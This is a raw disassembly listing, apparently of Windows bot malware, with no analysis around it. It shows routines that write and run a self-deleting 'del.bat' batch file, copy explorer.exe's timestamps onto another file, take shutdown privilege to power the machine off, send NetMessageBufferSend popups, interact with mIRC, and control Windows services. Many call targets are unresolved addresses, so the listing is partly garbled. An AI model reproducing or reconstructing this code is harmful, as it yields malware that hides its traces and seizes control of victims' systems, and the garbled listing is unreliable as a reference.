		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26A096Ch
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB17C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9A4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9C4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		nop
		call	near ptr 2810625h
		push	esi
		mov	edi, eax
		call	near ptr 2810000h
		nop
		call	dword_4CBA28
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9E0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 282018Ch
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 2820000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA30
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA30
		push	ebx
		call	near ptr 2810C90h
		nop
		push	edi
		nop
		call	near ptr 2680157h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2830000h
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2820802h
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB914
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAA4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2730786h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2720000h
		nop
		push	edi
		call	near ptr 2680157h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB88
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26A0E4Ah
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26A0D72h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26A0C95h


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2840000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2680493h


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26F0582h
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB954
		push	edi
		push	eax
		call	dword_4CB964
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_4394FC


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_4394D4
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394A4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26F0582h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	near ptr 26C0B98h
		nop
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26D0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27C0943h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26B0735h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439520[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43951C[esi]
		push	offset unk_439630


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA40
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439604
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA40
		push	off_439518[eax*4]
		push	offset unk_4395E0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9C8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		call	near ptr 26A096Ch
		nop
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8B0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		call	near ptr 26A096Ch
		nop
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB91C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8B8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB920


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		call	near ptr 26A096Ch
		nop
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8CC


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8CC
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB380
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB380
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB380
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9C8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB994
